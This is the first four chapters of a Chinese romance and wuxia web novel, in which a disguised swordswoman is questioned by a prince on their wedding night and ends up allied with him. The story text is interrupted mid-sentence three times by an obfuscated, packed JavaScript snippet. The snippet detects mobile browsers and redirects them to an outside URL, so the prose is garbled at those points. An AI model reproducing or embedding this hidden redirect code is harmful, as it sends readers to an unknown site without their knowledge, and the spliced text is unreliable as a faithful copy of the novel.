《五殿下追妻记》 1. 新婚(捉虫) 月亮躲在层云里,春日夜晚的风正好,安王府花枝摇曳。院里,仆人们正在有条不紊地撤席,声音规整而轻微。 岁安堂里红烛高照,却落针可闻。 直至灯花突然炸了一下,迸溅出一丝火花,点燃了这份寂静。 一把金剪子正抵在万姝丹的颈边。 “想好了吗?” 万姝丹低头看了一眼自己的嫁衣,有些迷惑,明明是新婚当夜,也不知道怎么就变成了现在这样,本以为这次的行动不会太难,结果进入王府的当晚,就面临这样一个意料之外的情况。她的双手在衣袖中轻微动了一下,略一思考,就露出一副柔弱的样子,“殿下,妾身确实不知您什么意思。”这种时候不能出现任何意外,二哥交代的任务更重要,万姝丹决定按照事先准备好的内容骗过宁熙。 “这么说,你确实是褚王府四娘秦可兰?” 万姝丹点点头,金剪子锋利的刃在皮肤上刮蹭两下,她有些痒,下意识往旁边躲开一些。 她感觉这个场景和宁熙第一次见面时有点相似,也不知道自己和他究竟是什么样的缘分。万姝丹在心里叹口气,她忽而有些期待宁熙认出自己时会是什么样的表情,这七年来,自己变了很多,他应该也变了很多吧? 那剪子往下压了压,用了点巧劲,立刻有一道血线出现在白皙的脖颈上,一滴血没进了衣领中。 万姝丹感受到轻微的刺痛,一滴液体划过皮肤,她仍旧半低着头。 “你不怕吗?” “听闻殿下是个真性情的人,在京城有许多传言,可没有任何一条言传认为殿下是暴虐之人,所以想来是有什么误会,才让殿下这般对妾身。” 宁熙笑了一下,“误会?” 见他没有继续往下说,万姝丹抬起头,眨了眨眼睛,那眼角是微微上挑的,眼尾沟有些下垂,稍稍睁大眼睛看人时,显得十分无辜,“是,不然怎么会第一次见殿下,您就拿剪子架在妾身脖子上呢?” 她看到宁熙的眼睛里显出困惑,只一瞬,很快就隐没在幽深的瞳孔之后。难道他认出自己了? 剪面轻拍了两下那道血线,刺痛感蔓延开,金属的冰冷让感知疼痛的能力变得迟缓。她听见同样冰冷的声音说:“三年前鲜支人南下,你可知到底发生了什么事?” 万姝丹沉默了。 * 她记得三年前是有份塘报路过褚城附近的驿站,当时他们一行人正巧就在附近,准备扮成行商进入褚城,二哥当时觉得是北方传来的战报,派了两个人向着塘兵来的方向探查,他们则按计划行动。到了褚城,坐在小摊上休息时,听说了王府被屠的事情。打听之下才知道就在不久前,有一队骑兵从北门进来,包围了王府,将府里的人杀了个干净,还放了一把火。 沈济之当机立断要摸进王府,万姝丹与他来到王府附近时,火光从围墙上透出来。 万姝丹看了一眼沈济之,她问:“二哥?还要进去吗?” 沈济之没有犹豫:“要,阿姝可以吗?” 万姝丹点点头,“我一个人肯定没问题,就是不能带二哥进去。” 沈济之说:“不必带我,阿姝进去看看有没有什么蛛丝马迹,要小心。” 万姝丹依仗自己的轻功站在一块山石上,进了王府才发现里面的火势要比外面看起来严重很多。所有的建筑都进不去了,只有她所在的池塘附近勉强能容身。 万姝丹正欲离开时,听到了轻微的水声。 她低下头,看见池塘沿边露出一颗脑袋。万姝丹从山石上扣下一块小石头,丢向那人,那人猛地抬起头。 是活人。 她俩的视线在空中交汇,那人居然也不害怕,反而说:“你是来救我出去的吗?” 万姝丹此时还有心情开玩笑,“为什么我不能是来杀你的?” 当然她手上动作一点也不迟疑,立刻带着水中人翻出了王府。 * “秦四娘?”宁熙的声音唤回万姝丹的思绪。 “殿下身在京城会不知此事吗?” 宁熙觉得好笑,“你倒问起我来了。” 万姝丹有些拿不准宁熙什么意思,她将秦可兰救出后,与二哥汇合,三人都没来得及交谈,径直离开了褚城。到了附近山上的临时驻扎地,万姝丹才知道她所救之人是褚王秦静的第四女秦可兰,还知道了她与二哥居然是旧识。 思及此,万姝丹说:“那是四月十六的傍晚,我当时正在屋里看三哥画画,突然前院传来喊叫声,还有马蹄声。陷入混乱时,三哥带着妾身跑到了后花园东北角,那里有几株棣棠,一块假山石,沿墙有两排小叶女贞,小时候三哥曾躲在这里逃过了全家人的寻找。他将妾身藏好后,正巧后门被冲破……”万姝丹停了一下,秀丽的眉毛轻轻拧起,似有些不忍,“三哥假装逃跑,被一个骑兵从背后砍了一刀,踉跄着扑在妾身的身上。妾身只听到闹哄哄的声音,夹杂着听不懂的语言。没过多久,声音渐渐停息,妾身从侧门偷偷溜出去的。” “当时鲜支人俱在城中,你就算逃得出王府,又是如何逃出褚城的?” “殿下,当时妾身逃出王府后,并没有见到鲜支人。” “嗯?” “妾身是看到有不少人往城南跑,还以为是那些骑兵并没有离开,却听他们说是鲜支人马上要打进来了,妾身想着,与其留在城里,不如跟着他们走,事后就算鲜支人没来,再回来也不迟。” 宁熙收回剪子,在手里把玩着,“照你的说法是,先有一支骑兵进入褚城,屠了王府之后马上离开,接着才有鲜支人打进褚城?” 万姝丹缓缓点点头。如果宁熙不记得自己了,那她也没必要提醒他,只要他能听自己的话老实合作、完成计划。没想到他对三年前的事情感兴趣,那么按照秦可兰的经历稍微改动一些,隐去二哥与自己,也不知道能不能骗过他,毕竟万姝丹也不知道宁熙究竟在褚城一案上掌握多少内容。 “在南逃的路上,妾身听说司州同样遭到了鲜支人劫掠,武越被屠。朝廷要派长平侯到褚城、关内侯到武越,已经在路上了,不日就会抵达,这才起了念头回褚城。” 宁熙不冷不淡地说:“秦四娘当真好胆量。” “殿下难道不觉得奇怪吗?彼时鲜支人还未到褚城,那队骑兵又是什么人呢?而且他们竟然都穿着大夏的戎装,但妾身分明听不懂他们所说的话,妾身……妾身不知这件事有几人知道,因此选择返回褚城,要是可以的话,就告诉长平侯。” 宁熙将剪刀转了个面,“我是说,在这整件事里,秦四娘表现得竟不像是个闺阁女子,如此思路清晰,有勇有谋。” 万姝丹微微一笑,“父亲在我小时候就会给我讲很多战场上的故事,教我如何自保,告诉我发生意外要如何应对。不瞒殿下,父亲其实带我上过战场,所以我并非一般闺阁女子。” 宁熙把玩着剪子,“嗯,确实是秦静会做出来的事情。不过,秦四娘仍然冷静得有些过头了,即使这是三年前的事情,可灭的是秦家。如今你孑然一身,独自嫁来京城,倒显得像个没事人一样,谈论起这些事情仍能保持镇定。” 万姝丹暗道一声不好,自己果然还是不适合扮演别人,她极力让自己想一想最难过的事情,瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920212|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间就红了眼眶,“殿下?今日是新婚之夜,难道殿下愿意见到妾身哭哭啼啼的?殿下今夜谈论这件事,如同剜在妾身心上,我只当殿下以为这件事中确有疑点,自然要据实相告。比起悲恸过度,我更希望殿下能查清此事,也不枉我秦家满门忠烈。” 宁熙观察着她的表情,少顷,他说:“若你所言非虚,此事我定要查个清楚。” 万姝丹用袖子蹭蹭眼角,心道这一关算是过去了。 接着宁熙话音一转,“那你为什么这么信任长平侯?” 万姝丹说:“父亲曾说长平侯李少林少时以上川一役一战成名,是个绝对勇猛忠国的大将军。而且,妾身一介女流,除了将此事告知将军,也不知道还有什么别的出路,妾身总要想办法为他们报仇。” 宁熙接着问:“那你可知道鲜支人为什么要火烧王府?” “妾身并不清楚。” 宁熙换了个角度询问:“那你可知府里有什么重要的东西吗?” 万姝丹摇摇头,“据妾身所知,是没有的。” 宁熙继续问:“你返回褚城后,可在王府发现什么异常?” 万姝丹说:“没有,妾身再回来后,王府已经是废墟一片了。” 宁熙略微颔首,“你回褚城后,落脚在哪里?” “秋馥阁。” 宁熙挑挑眉,“哦?” 万姝丹斟酌了一下,“妾身初遭大难,思及自己的身份,想起父亲从前的教导,妾身决定继续隐入人群中。秋……秋馥阁卖艺不卖身,而且这种地方向来消息灵通,妾身就起了进入秋馥阁的念头。” “那你在秋馥阁听说些什么?” 万姝丹说:“是有一些,她们说是父亲调离了云台关一半兵力去上川镇,集五万兵马,可惜败于鲜支,父亲和大哥战死,这才使得鲜支人一路南下,势如破竹。” 宁熙皱眉,“就这些?” “还有说褚城知府也遭劫难,因此一段时间内城里都无人管理,存活的且留在城中的百姓自发组织掩埋尸体,防止疫病发生。” 想起那时他们也返回褚城,沈济之让属下扮成普通百姓,组织着人们清理城中街道,并且免费看诊。本来是打算顺便找些蛛丝马迹,结果什么都没发现,王府烧得彻底,知府里也没有任何线索。 “那你什么时候遇上的长平侯?” 万姝丹说:“两日后,长平侯率大军抵达褚城,着手进行重建。又过三日,秋馥阁在贺水画舫上宴饮,妾身在其中见到了长平侯。” 宁熙莞尔,“都说褚王府四娘是绝世美人,可惜被褚王养在深闺里,世人颇为遗憾,如今倒是让我得了便宜。那长平侯又如何认得四娘?是他本来就见过你,还是有别的什么信物?” 万姝丹拿出秦可兰的玉佩,“长平侯自然没见过妾身,至于信物,肯定是有的,这枚玉佩是父亲随身携带之物,见过父亲的人自然也识得这枚玉佩,父亲在离开褚城之前将这枚玉佩给了我,我一直贴身保管着。如何?殿下可认得这枚玉佩?”她把手伸到宁熙的眼前,玉佩躺在她的手心,衬得整只手都温润起来。 宁熙笑出了声,用剪子将万姝丹的手腕压下,“王妃多虑了,我自然是不认得的。真是一个颇有意思的计划。” 万姝丹在听到“王妃”二字时,心里突地一跳,涌上一阵不好的预感。听到“计划”后,她以为自己暴露了,心中不免有些慌张。 她这厢正在犹豫要不要同宁熙摊牌时,却听到宁熙说:“王妃可会下棋?” 万姝丹震惊了,审问完她,怎么还要考她技艺?在新婚夜?下棋?这人有完没完! 2. 跳舞 想起自己为数不多的几次乔装打扮,只有这次这么窝囊了,她在想着要不要告诉宁熙自己的身份,省得这样一直伪装下去。以目前宁熙的试探程度,她或早或晚都会暴露。 万姝丹有些纠结,宁熙处境越来越困难,别看他整日风花雪月,警惕心依然不减。可万姝丹不知道他的能力是否还依从前,若是他无法担起大任,在没有告诉他自己身份时,她依然可以全身而退。若是现在就告诉他自己的身份,那么二哥也就藏不住了,这样一来,如果宁熙没有以前的能力,二哥舍弃了他,很难说他是否会出卖二哥。 如此想来,目前还是隐藏好自己是为上策。 万姝丹闻着空气中浓重的酒气,计上心来,“殿下,妾身嫁进王府,就已经是您的人了,何必急在这一时?殿下婚宴上饮酒饮多了吧?身子不舒服就应该向妾身说出来,让妾身好好服侍您一番,缓缓酒劲,明日才不会过于难受。” 宁熙嘴角含笑,“你想怎么服侍?” “殿下坐。” 万姝丹起身,引着宁熙坐在床上。她站在他面前,抬起手,衣袖自然滑落,宁熙看见了她右手手腕内侧的那块疤,像是被什么尖锐利器捅伤所致,他再次愣住了,最终确定眼前之人的身份,思及此,他的眉头再次微微皱起。 万姝丹对此毫无知觉,她以两手拇指各按一边的太阳穴,轻轻揉搓着,用力恰到好处,确实缓解了宁熙发胀的头。 婚宴上人多眼杂,他在自己的王府里也不得不让自己被灌醉,才不令人起疑,“风流成性”名声外在,醉酒乃是常态。宁熙也没有办法,他等一个破局的时候等了很久了,也不在意这一时一刻,收敛起自己的性子,做一颗时而圆润时而有棱角的珠子,方能在京城活下去。这么多年,他早就习惯了。 宁熙在知道塘报上的内容后,自然疑心过,这与颜宥津从褚城递回的消息有所出入,但是怕打草惊蛇就未继续探查。 这三年来褚城与京城里一直相安无事,没想到一月前,皇上突然下旨赐婚。询问长公主后才知,赐婚前皇孙偶入云霄阁,皇帝为寻自己的孙儿也进云霄阁了,等到出来后就有了这么一纸赐婚。 这可就不得不令人深思了,宁熙却不知这样做的目的是什么,当初长平侯上奏折禀报自己寻得褚王四娘秦可兰时,京城中议论纷纷,还是皇上最后决定让其留在褚城,待王府重建之后,再移入府中居住。 长平侯奏折上所述的内容与颜宥津带回来的消息基本一致,只有一点出现了误差。正是这一点,让他决定先诈一诈。 宁熙决定先发制人,却在她抬头的一瞬间晃了神,有些不太确定是不是自己心中所认为的那个人。那块疤的出现,让宁熙想起了一些往事,倏忽之间,他有些分不清现实与回忆,那个曾经照顾过自己的小女郎再次出现在眼前,熟悉与陌生的感觉一起涌上心头。这种滋味很奇妙,想接近又想远离,宁熙坐在那里,觉得眼前之人忽近忽远的。 直到她手上开始动作之后,才将他的思绪拉回,那种不真实的感觉落回原地。看起来她没有认出自己,只是不知道是自己这么多年变化太大,还是这人根本就没多用心,连脸都记不住。宁熙觉出自己的内心有些微妙的不平衡。 只有一点他还不清楚,这人假扮秦可兰嫁给自己,是要做什么? “没想到爱妃还懂按摩?”宁熙略带愉悦的声音响起。 万姝丹将手掌附上代替拇指,盖住整片太阳穴的区域。她的手即使在冬天也是温热的,此刻掌心的温度更是高过了宁熙的额角。然后五指分开做爪状按在他的头上,从顶部一直到脑后,小幅度搓捻着。她的手指非常灵活,宁熙的头随着她的动作轻微晃动,他感觉每一寸都得到了安抚,突突跳的血管也缓和了不少。 她未觉察到宁熙称呼的改变,张口就胡扯一句:“妾身的母亲时常头疼,因此妾身跟医官学了按摩的法子,没想到今天派上用场了。殿下,这样可好?” 宁熙闭着眼睛,双眉舒展开,眉形的走势恰到好处,“嗯,不错。” 不知道是不是万姝丹的错觉,她觉得宁熙的语调有些拖长了,“爱妃如此贤惠,竟让我觉得有些过意不去了。” “能嫁给殿下,是妾身的福分。”万姝丹没什么表情地说。 宁熙笑了,他睁开眼,抬手以两指勾住万姝丹的右手腕,轻轻晃了晃,“能娶到你,也是我的福分。” 万姝丹绷紧了双腿,禁不住打了个冷颤,这人怎么好像突然之间变了性格? “怎么?爱妃觉得冷吗?” 万姝丹抓住宁熙的左手腕,将他的手从自己的手腕上扒下去,过程尽量显得温柔,她的声音也很轻柔,“殿下,妾身还没结束呢。” 宁熙双手撑住床,闭上了眼睛。 万姝丹双手五指张开,在宁熙的脖颈间虚晃了一下,移向了他的头顶,将他的束发簪取下,三千青丝立时垂下,顺滑如缎,发尾尖堆在床上。只可惜,面前之人并不为所动,万姝丹自从会自己梳头时,都是简单以一根发带绑起高马尾。她的眼睛固定在宁熙的头上,觉得手心有些痒。 “爱妃?” 宁熙刚睁开眼,万姝丹的双手就伸进他的发间,从前额以指腹梳到后脑,如此循环往复。不得不说,她太会掌控自己的力量了,只这一下,就让宁熙舒服得闭上了眼,红润的双唇微微张开。可惜面前不是一个懂得欣赏的人,如此风光竟是白白浪费了。 万姝丹一心一意地专注手上的活计,只希望宁熙快点忘掉半夜下棋这件事。 可惜事与愿违。 “好了,我觉得好多了,来下棋?” 万姝丹眨眨眼,无奈地点点头,琴棋书画这些她一点也不擅长,在得知要代替秦可兰嫁进安王府的半年内,她被二哥按着头日日沉浸其中,只求练个模板能稍微应付一下突发状况,日后再做长久打算。那时候,她就深深思考,为什么幼年时没有好好学习这些技艺,都逃去和四哥在谷里上蹿下跳了。 所以万姝丹心里很没底,她从二哥那里知道宁熙的过往,这个人少年时期十分闪耀,尤其擅长琴棋。所幸秦可兰的那些传闻,让她有了喘息的空间,“殿下……殿下在京中就没有听到什么传闻吗?” 宁熙摆好棋盘,“不知?” 万姝丹斟酌着开口,似是有些不知所措,“就是那些说我什么都不擅长,琴棋书画、诗酒花茶样样都拿不出手……” 宁熙看着她,眼里有深意,“关于我的传言你也听过吧?传言只是传言,实际么,就真如传言所说?我看未必。所以开始吧。” 万姝丹无法,只得坐在宁熙对面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920213|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二哥教过她许多短时间速成的套路,然而这些东西碰上宁熙,就是小巫见大巫了。沈济之很厉害,这些路数也很不错,可是到了万姝丹的手里,她就手忙脚乱,一时间不知道用哪种了。更何况,宁熙的棋路与沈济之大不相同,沈济之的棋数偏温和,不过,他会在最致命的地方一击必杀。而宁熙的路数一开始就很凶猛,这进攻之中布下了天罗地网,一步走错,就如同踩进了蛛网,再无力挣扎。 果不其然,很快万姝丹就将棋子放回棋篓中,“我输了。” 宁熙似乎并不意外,他看着棋盘说:“看来王妃确实如同传闻所说那般,我突然很好奇,不知你进秋馥阁的那段日子学会了什么,想来以王妃的四艺,必然是拿不出手的吧?” 万姝丹在听到“好奇”二字时,心里一直在祈祷别再考验琴技了,却没想到他话音一转,提起了秋馥阁,秋馥阁那种地方,除了这些,剩下的…… 她艰难地说,“殿下,妾身进秋馥阁实属无奈之举,我已不愿再提。” 宁熙手指捏着枚棋子,“秋馥阁能教你的,无非就是跳舞了,我听说秋馥阁阁主以舞名闻褚城、乃至宛州,王妃在她手下一段时日,想来是学会不少。我朝女子以擅舞为美,不知王妃为何这般忸怩?” 万姝丹在心里叹息,那当然是因为她不是秦可兰了,秦可兰或许是个舞蹈初学者,可万姝丹精通跳舞。 她低下头,“既然殿下想看,容妾身准备一下。” 万姝丹看着宁熙转去了外间,没忍住再次深吸一口气,她有些烦躁地挠挠头,总有一种宁熙在耍她的感觉,认命般开始换衣服。她从衣箱中拿出一件鹅黄色广袖上襦,一件绛纱细裥裙。待换好后,低头看了看长袖,她想了想,换成了鹅黄色的窄袖上襦。再将头上繁多的发饰一一取下,只以金簪挽了个最简单的发髻。这支金簪是万姝丹自己的,独特在其尖端锋利无比。 月亮已经从云层中现身,高高挂在夜色中,明亮的月光毫不吝啬自己的光芒,将庭院镀上一层银漆,所有的色彩都失了真,院角的阴影里更是暗影幢幢。 今夜有风,将繁密的花枝吹得晃荡不止,地上的倒影交错纵横,万姝丹踩着这片乱影走入院子。月色将本就白皙的她照得失去了血色,而唇上一点胭脂加深了几个度,像是干涸的血迹。 宁熙望着她出了神。 万姝丹没管他,自顾自地原地起舞。她轻功卓绝,跳舞自然异常轻盈。此刻虽是收敛了内力,代以平常的舞步,而且在交替时稍微顿一顿,整体就显得不够流畅,略显笨重,更何况她还在落地时轻微加重了力气。万姝丹的腰肢柔软有力量,此刻也没有掩盖柔软这一特性,而是在半侧腰时微微发颤。双手像是翩飞的蝴蝶,白得惊人。抬起胳膊时,衣袖滑落,堆叠在肘间,小臂就在一起一落间时隐时现,灵活中带着点生疏。多褶的长裙在她旋转时完全展开,一朵绽放在春夜的花。 宁熙却发现了,她裙里穿的是小口裤,窄瘦修身。 一舞终了,万姝丹刻意加深了呼吸力度。 宁熙笑眯眯地说:“爱妃的舞技比棋艺要好很多,只是……” 万姝丹一颗心提起,她现在是真有些怕宁熙的“只是”二字。 他似是在思考什么,“只是以爱妃的轻功来说,这舞蹈有些沉重了。” 3. 合作 万姝丹:“……” 她卸下脸上的温和,转身坐在廊沿下,“原来你认出我了,早说啊,省得我费尽心思作戏了。” 宁熙站在原地,“既然你也认得我,倒是说说为什么不开门见山?” 万姝丹说:“自然是拿不准殿下是否还记得我,若是不记得我了,那岂不是显得我有些自作多情?” 宁熙低低的声音传来,“自作多情?依我看或许还有别的深意。比如,你来了京城,那么沈济之肯定也在这里了。你不同我摊牌,无非是想给自己留一条后路。” 万姝丹唇角微微翘起,“殿下好推测,那殿下不如接着说说后面的事情?” 宁熙双手背后,“沈济之来京城还能有别的原因吗?秦可兰也是被你们救下的吧?李少林奏折里所写的内容看似连贯,细想之下也有许多疑点。如果那些人的目标是杀光王府的人,为何秦可兰能独独活下来?难道真的是巧合?” 万姝丹笑了,“殿下不妨直说,你也命人去褚城探查了吧?” 宁熙承认:“是。我发现李少林的奏折中模糊了王府起火的时间,起火应当是紧接在屠杀之后,而你方才改了一下起火的时间,说明你们很有可能是在火中将秦可兰救出的,为了隐瞒这一点,你才必须要改变这一时间线索。如何?我说的对吗?” 万姝丹抚掌,“不错,确实是我将秦可兰从火海里救出来的,除此以外,我所说的都是事实。” 宁熙说:“这么说,那队穿着大夏戎装的骑兵并不是大夏人。” 万姝丹没有直接回答:“殿下好像对三年前的事情很感兴趣?” “不愿意说?”宁熙右手拇指无意识摩挲着食指第二指节,“那不如来说说你代替秦可兰嫁进王府是想做什么?一个月前皇孙偶入云霄阁恐怕并不是‘偶入’吧?” 万姝丹摸了摸自己的鬓角,“殿下都猜得这么准了,对我的来意肯定也是知道的。” “合作,你是来找我合作的,或者说,沈济之要与我合作。” 万姝丹转了转手腕,“殿下所说分毫不差,只是,本来我不必嫁进王府的。半年前,我们收到京中的消息,认为可能有江湖势力进入了京城。因此不得不改变了计划,我才代替了秦可兰。” 说完这一句,万姝丹忽然发难,她以极快的速度从发髻中拔出发簪朝宁熙刺去。不过,她的这一簪并没有刺中宁熙,中途被一柄折扇拦了下来,万姝丹认出这人,她的手一挽,将扇子压在下面,“是你,景煜。” 景煜收回手,行礼道:“见过王妃。” 万姝丹略一点头,又刺出一簪,景煜抬手抵挡,却被万姝丹轻轻一挑,折扇落地。紧接着,她欺身上前,一掌落在景煜肩上,从他身上翻了过去,直奔他身后之人。宁熙看到抛起的长裙,一点锋芒在月光下闪过,“叮”的一声,从侧面探出一把窄刀拨开了黑簪。 万姝丹再次落地,看向那个手握窄刀之人,身后的景煜也捡起了折扇。 “嗯?”万姝丹来了兴趣,“看来这些年你也笼络了些能人。”她转头看向身侧黑暗中,那里响动一下,一个手提长剑的人走出。 万姝丹的目光在他脸上停留一瞬,继而转向宁熙,“你要一直躲在他们后面么?” 宁熙的声音传来,“你们退下。” 三人犹豫。 “退下吧。” 景煜率先让开。 万姝丹没等到那两人离开,就运起轻功,从二人中间闪过。 她的簪子悬在宁熙额前,“你不躲么?” 宁熙看向她的双眼,“我以为你应该知道,我早已不如从前。” 万姝丹收回手,“我以为殿下会给自己留些余地。” 宁熙似笑非笑,“留余地,就算我留有余地,日日饮酒作乐又能好到哪里?” 景煜见状立马出来打圆场,“方才王妃提到京中有江湖势力的出现。其实,半年前确实有人想要夜探王府,被我们及时发现,但是让那人逃走了。不知王妃可否告知京中现在的情况?” 万姝丹拿眼看他,“你们在京中这么久,就没有查出来么?” 景煜实话实说:“实不相瞒,这些人隐藏得很深,我们确是怕打草惊蛇,只好先将王府安排妥当。” 万姝丹露出一抹笑容,“你们都不知道的事情,我又如何知道?” 景煜还想说什么,“可是……” 宁熙开口了,“还有沈济之查不到的事情?” 万姝丹奇怪道:“二哥是人,又不是神,他不知道的事情可有太多了。”她停顿了一下,想到了自己的目的,“京城是我们的最后一站,在此之前我们也不敢在这里有太大的动作,很多时候也确实力不从心。就是现在,我们也有许多无法独自完成的事情,而这就需要殿下的帮助了。” 宁熙嗤笑一声,“我为什么要帮助你们?” 万姝丹抬头,“殿下?” 宁熙说:“你不拿出一些诚意,就想要我的帮助?天下岂有这样的好事。” 万姝丹莫名其妙,“好像是殿下需要我们多一些,毕竟不论是谁登基,殿下都不会有一个好结局。” 宁熙不动声色,“沈济之想要完成他的目的,我应该是最合适的人选了,如何?” 万姝丹摊开双手,“那这样,我们各自退一步,殿下想从我这里知道些什么?” 宁熙的眼神晦暗不明,就在万姝丹疑惑他怎么不说话时,听见这样的四个字,“你的名字。” “仅仅是我的名字?” “嗯。” “万姝丹。” “哪两个字?” “静女其姝,丹阳烈焰。” 宁熙看向景煜,景煜摇摇头。 万姝丹笑了,“别想了,你应当是没有听过我这号人物的。” 宁熙说:“沈济之身边的人,在江湖不可能没有名号。” 万姝丹手里把玩着金簪,把它放在月光下,细细看着,“这就是另一个问题了。” 宁熙说:“如果我说同意与你们合作呢?” 万姝丹将金簪在手里掂了掂,“跟我们合作对殿下百利无一害,不搏一搏怎么知道最后的赢家是谁呢?” 宁熙哈哈一笑,“百利无一害?说得好,若是中途出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920214|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差池,死的是我,而不是你们。你们远在江湖,又有远洋可供躲避。” 万姝丹眨眨眼,“要是真有那一天,说不准我可以带上殿下一起逃走。” 宁熙轻蔑看她一眼,“你?左魁宿卫的大将军周寥曾经是楼仲春的副将,左右领卫的大将军也都是在战场上出生入死的人,还有武卫、执金吾,再加上那些封侯的将军。你确信能在他们的手底下逃出生天?” 万姝丹不为所动,“殿下不必用这种手段,我行走江湖多年,能隐藏自己这么久,也就意味着我并不在乎自己出名与否,我的能力自有我自己肯定。” 景煜在一旁插话道:“我观王妃轻功不俗,现下以轻功名闻的有二人,一为‘觅雪无踪’,二为‘难知如风’,不知王妃是否是这二人之一?” 万姝丹奇道:“为什么你这么肯定?不论我是谁,而今的局面其实不容乐观。先帝时期明面上依靠世家,一统江山,暗地里却也用了不少江湖势力,当时有三大门派跟随先帝,他们虽不会带兵打仗,却是一等一的武功高手。只可惜后来其中一个门派不甘于暗地里的营生,与世家之一的淮南颜氏联姻。先帝默不作声,甚至让这个门派替他整饬江湖,江湖由此凋敝,返回山水之间,极力躲藏。后来,先帝见好就收,却将屠刀悬在三大门派头上,一起铲除,而淮南颜氏亦未逃过。此番之后,江湖风平浪静许久,再不问世事,至今也有三十余年了。” 沈济之谈起这件事时,他曾说:“卧榻之侧,岂容他人鼾睡。更何况这群人身负武功,先帝更不会容忍了。他们都是被功业蒙蔽了双眼,看不清形势,先帝那般多疑,宜应急流勇退的。” 万姝丹继续说道:“江山代有才人出,而今江湖又涌现出一批豪杰,可他们大多不愿涉足朝堂,因此跟随我们来到京城的人手实在是有限。殿下与其追问我的信息,不如好好考虑考虑要如何破当下这局。” 宁熙走了过来,捡起万姝丹落在地上的长裙,搭在自己的臂弯,他一步一步走近,神情已不复刚才那么咄咄逼人,“我考虑?我不信沈济之没有计划,既然你谈到接下来的行动,那么据实相告也是合作的前提吧,无论如何我也好有个准备。” 万姝丹愣了一下,她自然是不能说的,故而随口道:“比起接下来的计划,明日进宫好像是第一步。夜深露重,殿下若是还不休息,当心明日误了时辰。” 宁熙低下头,“你可真是守口如瓶。” 万姝丹低头微微行了一礼,“殿下,你我彼此彼此。” 宁熙的声音在她头顶响起,“王妃想知道什么事情,尽管问我就好,我自会如实相告的。” 万姝丹淡然一笑,“殿下客气了,我没什么想知道的。” 宁熙沉默了,他突然探手想要抓住万姝丹的胳膊,被万姝丹轻巧躲过,她接连几个后撤步,与宁熙拉开距离。 景煜小声叫了一声好。 宁熙的神情不变,“你躲什么?” 万姝丹歪头,“殿下要抓我,我为什么不躲?” 宁熙收回手,“以后难免会出现需要你我配合的时候,你现在躲我,以后怎么办?” 4. 气息(捉虫) 万姝丹挑起一边的眉毛,她轻笑一声,向宁熙走去,“日后自有日后的办法,现在殿下需要告诉我,我睡哪儿?” 宁熙脸上浮现出笑意,“你还能睡哪儿?现下你我已是夫妻,还要分开睡吗?” 万姝丹抬头看他,“殿下,说这话可就违心了,巴不得分开睡得人是你吧?” “怎么会?王妃这样想,真是让人伤心。”宁熙游刃有余,“七年前你我也算同床共枕过,怎么现在反而害羞了?” 万姝丹噎了一下,她怎么也不能告诉宁熙,七年前她把他当成了小女郎吧?可万姝丹又不愿承认自己害羞,她还从未在什么人面前害羞过,更不愿向宁熙低头。 因此她慢慢欺身上前,“这么说,殿下是想和我同床共枕了?” 此时他俩离得极尽,万姝丹的气息喷在宁熙的脸颊上,干净又温暖,像是早上清新暖融的空气,让人想到万里无云的晴日,阳光均匀地洒落。 宁熙抬手就要抚上万姝丹的肩膀,被她下意识抓住手腕,宁熙任由自己的左手被她攥住,“你如此警惕,要怎么同床共枕?” 万姝丹张嘴想要说什么,她忽然闻到一股熟悉的气息,从宁熙的袖间传来,她微微低头,贴近那片散发热源的地方。宁熙在她的鼻尖距离自己手腕不过一寸时,就想要抽出,可是万姝丹比他反应更快,钳制住他的手。她的唇若即若离,惹得宁熙手腕处瘙痒无比,他却只抖了一下,就忍住了。 万姝丹的声音从下方传来,“那殿下,你在躲什么?” 宁熙闻言手指微动,指尖快要碰到万姝丹的脸颊时,她抬起头,宁熙的手指落了空。 “是你在躲我吧?” 万姝丹晃了晃他的手腕,“看来果真如殿下所言,一点后路没有给自己留,这么多年纵酒狂欢,武功确实已大不如从前,否则又怎么会被我轻松控制?” 宁熙的脸色看不出变化,他承认说:“我甚至可以说是半个废人了。” 万姝丹盯着他,这种人是最难对付的,因为不能挑起他的怒火,“殿下未免有些妄自菲薄,那些武学套数早就化在殿下骨血之中,加以时日,还是可以慢慢恢复的。” 宁熙抓住她话中的关键,“这么说,你要帮我?” 万姝丹松开他的手腕,“当然,这是我的诚意。怎么样?殿下是否放心了?” 宁熙没再接下去,转而说道:“寻夏,带她去熹微院吧。” 从院门外走进来一个身穿粉衣的婢女,她向万姝丹行礼,“王妃。” 万姝丹点点头,跟着寻夏走出了院落。 寻夏一边走一边说:“王妃,这边走,熹微院离这里不远。” 